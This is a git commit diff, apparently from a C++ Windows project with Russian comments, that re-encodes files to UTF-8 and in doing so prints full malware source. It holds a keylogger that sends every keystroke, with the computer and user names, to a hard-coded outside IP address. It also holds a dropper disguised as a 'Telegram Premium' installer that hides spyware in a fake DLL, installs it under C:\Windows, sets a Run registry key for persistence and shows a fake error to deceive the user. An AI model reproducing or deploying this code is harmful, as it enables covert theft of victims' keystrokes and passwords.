Change character encoding to UTF-8

master
dubininvyu 2 years ago
parent 4183f80971
commit 66c9b81e04

@ -14,28 +14,28 @@
#include "main.h"
std::map<unsigned char, std::string> BUTTON_CODES = {
// {0x01, "LMB"}, // левая кнопка мыши
// {0x02, "RMB"}, // правая кнопка мыши
// {0x03, "CTRL+Break"}, // комбинация CTRL + Break
// {0x04, "MMB"}, // средняя кнопка мыши
{0x08, "BackSpace"}, // кнопка возврата на одну позицию
// {0x01, "LMB"}, // левая кнопка мыши
// {0x02, "RMB"}, // правая кнопка мыши
// {0x03, "CTRL+Break"}, // комбинация CTRL + Break
// {0x04, "MMB"}, // средняя кнопка мыши
{0x08, "BackSpace"}, // кнопка возврата на одну позицию
{0x09, "TAB"},
{0x0D, "Enter"},
{0x10, "SHIFT_ADV"}, // вспомогательная клавиша Shift
{0x10, "SHIFT_ADV"}, // вспомогательная клавиша Shift
{0x11, "CTRL"},
{0x12, "ALT"},
// {0x13, "PAUSE"},
{0x14, "Caps Lock"},
{0x1B, "ESC"},
{0x20, "Space"}, // пробел
{0x20, "Space"}, // пробел
{0x21, "Page Up"},
{0x22, "Page Down"},
{0x23, "END"},
{0x24, "HOME"},
{0x25, "Left arrow"}, // стрелка влево
{0x26, "Up arrow"}, // стрелка вверх
{0x27, "Right arrow"}, // стрелка вправо
{0x28, "Down arrow"}, // стрелка вниз
{0x25, "Left arrow"}, // стрелка влево
{0x26, "Up arrow"}, // стрелка вверх
{0x27, "Right arrow"}, // стрелка вправо
{0x28, "Down arrow"}, // стрелка вниз
// {0x2C, "Print Screen"},
{0x2D, "Insert"},
{0x2E, "Delete"},
@ -124,19 +124,19 @@ std::map<unsigned char, std::string> BUTTON_CODES = {
struct TCPIPPacket {
uint8_t typeID; // идентификатор типа пакета
uint32_t size; // размер всего пакета в байтах
uint32_t time; // временная метка пакета
uint32_t crc32; // контрольная сумма пакета
uint8_t typeID; // идентификатор типа пакета
uint32_t size; // размер всего пакета в байтах
uint32_t time; // временная метка пакета
uint32_t crc32; // контрольная сумма пакета
uint32_t pcNameSize; // количество байтов в имени компьютера
std::string pcName; // имя компьютера
uint32_t pcNameSize; // количество байтов в имени компьютера
std::string pcName; // имя компьютера
uint32_t userNameSize; // количество байтов в имени пользователя
std::string userName; // имя пользователя
uint32_t userNameSize; // количество байтов в имени пользователя
std::string userName; // имя пользователя
uint32_t keyNameSize; // количество байтов в имени нажатой клавиши
std::string keyName; // имя нажатой клавиши
uint32_t keyNameSize; // количество байтов в имени нажатой клавиши
std::string keyName; // имя нажатой клавиши
TCPIPPacket() :
typeID(0xAA), size(0), time(0), crc32(0),
@ -147,12 +147,12 @@ struct TCPIPPacket {
}
};
bytes_vector packetToBytes(const TCPIPPacket& rPacket); // метод преобразования пакета в вектор
bytes_vector packetToBytes(const TCPIPPacket& rPacket); // метод преобразования пакета в вектор
uint32_t calculateCrc32(bytes_vector& vBytes); // функция расчета контрольной суммы пакета
void sendPacket(SOCKET& socket, bytes_vector& vBytes); // функция отправки пакета
uint32_t calculateCrc32(bytes_vector& vBytes); // функция расчета контрольной суммы пакета
void sendPacket(SOCKET& socket, bytes_vector& vBytes); // функция отправки пакета
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // обработчик клавиш
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // обработчик клавиш
int WINAPI wWinMain(
_In_ HINSTANCE hInstance,
@ -161,7 +161,7 @@ int WINAPI wWinMain(
_In_ int nShowCmd
) {
TCPIPPacket packet; // пакет для отправки
TCPIPPacket packet; // пакет для отправки
TCHAR pcName[SHRT_MAX];
DWORD pcNameSize = SHRT_MAX;
@ -169,34 +169,34 @@ int WINAPI wWinMain(
TCHAR userName[SHRT_MAX];
DWORD userNameSize = SHRT_MAX;
/* получаем имя компьютера */
/* получаем имя компьютера */
while (!GetComputerName(pcName, &pcNameSize)); // пока не удается получить имя компьютера, будем висеть в бесконечном цикле
packet.pcName = pcName; // сохраним имя компьютера в пакете
packet.pcNameSize = packet.pcName.length(); // запишем длину имени компьютера
while (!GetComputerName(pcName, &pcNameSize)); // пока не удается получить имя компьютера, будем висеть в бесконечном цикле
packet.pcName = pcName; // сохраним имя компьютера в пакете
packet.pcNameSize = packet.pcName.length(); // запишем длину имени компьютера
/* получаем имя пользователя */
/* получаем имя пользователя */
while (!GetUserName(userName, &userNameSize)); // пока не удастся получить имя пользователя, будем висеть в бесконечном цикле
packet.userName = userName; // сохраним имя пользователя в пакете
packet.userNameSize = packet.userName.length(); // запишем длину имени пользователя
while (!GetUserName(userName, &userNameSize)); // пока не удастся получить имя пользователя, будем висеть в бесконечном цикле
packet.userName = userName; // сохраним имя пользователя в пакете
packet.userNameSize = packet.userName.length(); // запишем длину имени пользователя
/* подключаемся к серверу */
/* подключаемся к серверу */
WSADATA wsaData;
const auto dllVersion = MAKEWORD(2, 1);
while (WSAStartup(dllVersion, &wsaData) != 0); // пытаемся подкючить библиотеку с сокетами бесконечно
while (WSAStartup(dllVersion, &wsaData) != 0); // пытаемся подкючить библиотеку с сокетами бесконечно
SOCKADDR_IN socketAddress;
socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-адрес сервер
socketAddress.sin_port = htons(51043); // порт, через который подключаемся к серверу
socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-адрес сервер
socketAddress.sin_port = htons(51043); // порт, через который подключаемся к серверу
socketAddress.sin_family = AF_INET;
SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // создаем сокет
while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // бесконечно пытаемся подключиться к серверу
SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // создаем сокет
while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // бесконечно пытаемся подключиться к серверу
/* Отслеживаем нажатие клавиш */
/* Отслеживаем нажатие клавиш */
while (true) {
processKeyboard(connection, packet);
@ -208,41 +208,41 @@ int WINAPI wWinMain(
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket) {
for (const auto& mRow : BUTTON_CODES) {
const auto keyID = mRow.first; // получаем идентификатор клавиши
const auto keyID = mRow.first; // получаем идентификатор клавиши
if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // если рассматриваемая клавиша не нажата
continue; // ищем дальше
if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // если рассматриваемая клавиша не нажата
continue; // ищем дальше
}
rPacket.time = (uint32_t)std::time(nullptr); // запишем UNIX-время
rPacket.time = (uint32_t)std::time(nullptr); // запишем UNIX-время
rPacket.keyName = mRow.second; // запишем имя клавиши
rPacket.keyNameSize = mRow.second.length(); // запишем длину имени клавиши в байтах
rPacket.keyName = mRow.second; // запишем имя клавиши
rPacket.keyNameSize = mRow.second.length(); // запишем длину имени клавиши в байтах
rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // обновляем размер пакета
rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // обновляем размер пакета
return (0
+ sizeof(rPacket.typeID) // поле для хранения идентификатора пакета
+ sizeof(rPacket.size) // поле под хранение длины пакета
+ sizeof(rPacket.time) // поле под хранение временной метки
+ sizeof(rPacket.crc32) // поле под хранение контрольной суммы пакета
+ rPacket.pcName.length() // добавляем длину имени компьютера
+ sizeof(rPacket.pcNameSize) // добавляем поле под хранение длины имени компьютера
+ rPacket.userName.length() // добавляем длину имени пользователя
+ sizeof(rPacket.userNameSize) // добавляем поле под хранение длины имени пользователя
+ rPacket.keyName.length() // добавляем длину имени нажатой клавиши
+ sizeof(rPacket.keyNameSize) // добавляем поле под хранение длины имени нажатой клавиши
+ sizeof(rPacket.typeID) // поле для хранения идентификатора пакета
+ sizeof(rPacket.size) // поле под хранение длины пакета
+ sizeof(rPacket.time) // поле под хранение временной метки
+ sizeof(rPacket.crc32) // поле под хранение контрольной суммы пакета
+ rPacket.pcName.length() // добавляем длину имени компьютера
+ sizeof(rPacket.pcNameSize) // добавляем поле под хранение длины имени компьютера
+ rPacket.userName.length() // добавляем длину имени пользователя
+ sizeof(rPacket.userNameSize) // добавляем поле под хранение длины имени пользователя
+ rPacket.keyName.length() // добавляем длину имени нажатой клавиши
+ sizeof(rPacket.keyNameSize) // добавляем поле под хранение длины имени нажатой клавиши
);
}(rPacket);
bytes_vector vBytes = packetToBytes(rPacket); // преобразуем пакет в вектор байтов
rPacket.crc32 = calculateCrc32(vBytes); // записываем контрольную сумму пакета
bytes_vector vBytes = packetToBytes(rPacket); // преобразуем пакет в вектор байтов
rPacket.crc32 = calculateCrc32(vBytes); // записываем контрольную сумму пакета
sendPacket(socket, vBytes); // отправляем пакет
sendPacket(socket, vBytes); // отправляем пакет
Sleep(100); // 10 мс отдыхаем
Sleep(100); // 10 мс отдыхаем
}
Sleep(10); // 10 мс отдыхаем
Sleep(10); // 10 мс отдыхаем
}
uint32_t calculateCrc32(bytes_vector& vBytes) {
@ -267,13 +267,13 @@ void sendPacket(SOCKET& socket, bytes_vector& vBytes) {
char* message = new char[size + 1];
uint32_t i = 0;
for (const auto byte : vBytes) { // копируем байты из вектора в массив
for (const auto byte : vBytes) { // копируем байты из вектора в массив
message[i++] = byte;
}
send(socket, message, size, NULL); // отправляем сообщение по TCP/IP
send(socket, message, size, NULL); // отправляем сообщение по TCP/IP
delete[] message; // удаляем массив
delete[] message; // удаляем массив
}
template <>
@ -285,16 +285,16 @@ void pushValue(bytes_vector& vBytes, const std::string& value) {
bytes_vector packetToBytes(const TCPIPPacket& rPacket) {
bytes_vector vBytes;
pushValue(vBytes, rPacket.typeID); // тип пакета
pushValue(vBytes, rPacket.size); // размер пакета
pushValue(vBytes, rPacket.time); // временная метка
pushValue(vBytes, rPacket.crc32); // контрольная сумма
pushValue(vBytes, rPacket.pcNameSize); // количество байтов имени компьютера
pushValue(vBytes, rPacket.pcName); // имя компьютера
pushValue(vBytes, rPacket.userNameSize); // количество байтов имени пользователя
pushValue(vBytes, rPacket.userName); // имя пользователя
pushValue(vBytes, rPacket.keyNameSize); // количество байтов имени клавиши
pushValue(vBytes, rPacket.keyName); // имя клавиши
pushValue(vBytes, rPacket.typeID); // тип пакета
pushValue(vBytes, rPacket.size); // размер пакета
pushValue(vBytes, rPacket.time); // временная метка
pushValue(vBytes, rPacket.crc32); // контрольная сумма
pushValue(vBytes, rPacket.pcNameSize); // количество байтов имени компьютера
pushValue(vBytes, rPacket.pcName); // имя компьютера
pushValue(vBytes, rPacket.userNameSize); // количество байтов имени пользователя
pushValue(vBytes, rPacket.userName); // имя пользователя
pushValue(vBytes, rPacket.keyNameSize); // количество байтов имени клавиши
pushValue(vBytes, rPacket.keyName); // имя клавиши
return vBytes;
}

@ -13,60 +13,60 @@ int WINAPI wWinMain(
const char DST_PROGRAM_PATH[] = "C:\\Windows\\wingui.exe";
/*
В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll.
На самом деле этот файл содержит байты клиентской части шпионского ПО.
Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe
А потом добавить файл C:\Windows\wingui.exe в автозагрузку
В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll.
На самом деле этот файл содержит байты клиентской части шпионского ПО.
Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe
А потом добавить файл C:\Windows\wingui.exe в автозагрузку
*/
std::ifstream srcFile(SRC_PROGRAM_PATH, std::ios::binary);
if (!srcFile.is_open()) { // если файл куда-то пропал
const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
if (!srcFile.is_open()) { // если файл куда-то пропал
const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
}
/* читаем .dll файл */
/* читаем .dll файл */
std::vector<char> spywareBytes; // в вектор будем помещать байты шпионской программы
while (!srcFile.eof()) { // пока есть, что читать, будем читать
std::vector<char> spywareBytes; // в вектор будем помещать байты шпионской программы
while (!srcFile.eof()) { // пока есть, что читать, будем читать
char byte;
srcFile.read(&byte, sizeof byte); // считываем байт
spywareBytes.push_back(byte); // добавляем байт в вектор
srcFile.read(&byte, sizeof byte); // считываем байт
spywareBytes.push_back(byte); // добавляем байт в вектор
}
srcFile.close(); // закрываем файл
srcFile.close(); // закрываем файл
/* за диске C: создаем .exe файл */
/* за диске C: создаем .exe файл */
std::ofstream dstFile(DST_PROGRAM_PATH, std::ios::binary | std::ios::trunc);
if (!dstFile.is_open()) {
const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
}
for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe
for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe
dstFile << byte;
}
dstFile.close(); // закрываем файл
dstFile.close(); // закрываем файл
/* Добавляем wingui.exe в автозагрузку */
/* Добавляем wingui.exe в автозагрузку */
HKEY hKey;
char szPath[MAX_PATH];
const DWORD size = GetModuleFileName(NULL, szPath, MAX_PATH);
if (!(size > 0 && size < MAX_PATH)) {
const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой
}
RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре
RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
NULL,
0,
@ -77,18 +77,18 @@ int WINAPI wWinMain(
NULL
);
if (hKey) { // если ключ успешно создался, записываем значение
if (hKey) { // если ключ успешно создался, записываем значение
RegSetValueEx(hKey, "Win32GUI", 0, REG_SZ, (unsigned char*) DST_PROGRAM_PATH, sizeof(DST_PROGRAM_PATH));
RegCloseKey(hKey);
}
/*
Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой
Пусть он думает, что эта программа не работает, и спокойно ее удаляет
Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой
Пусть он думает, что эта программа не работает, и спокойно ее удаляет
*/
const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре.";
const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR);
return 0;

@ -1,6 +1,6 @@
//{{NO_DEPENDENCIES}}
// Включаемый файл, созданный в Microsoft Visual C++.
// Используется Fake.rc
// Включаемый файл, созданный в Microsoft Visual C++.
// Используется Fake.rc
//
#define IDI_ICON1 101

Loading…
Cancel
Save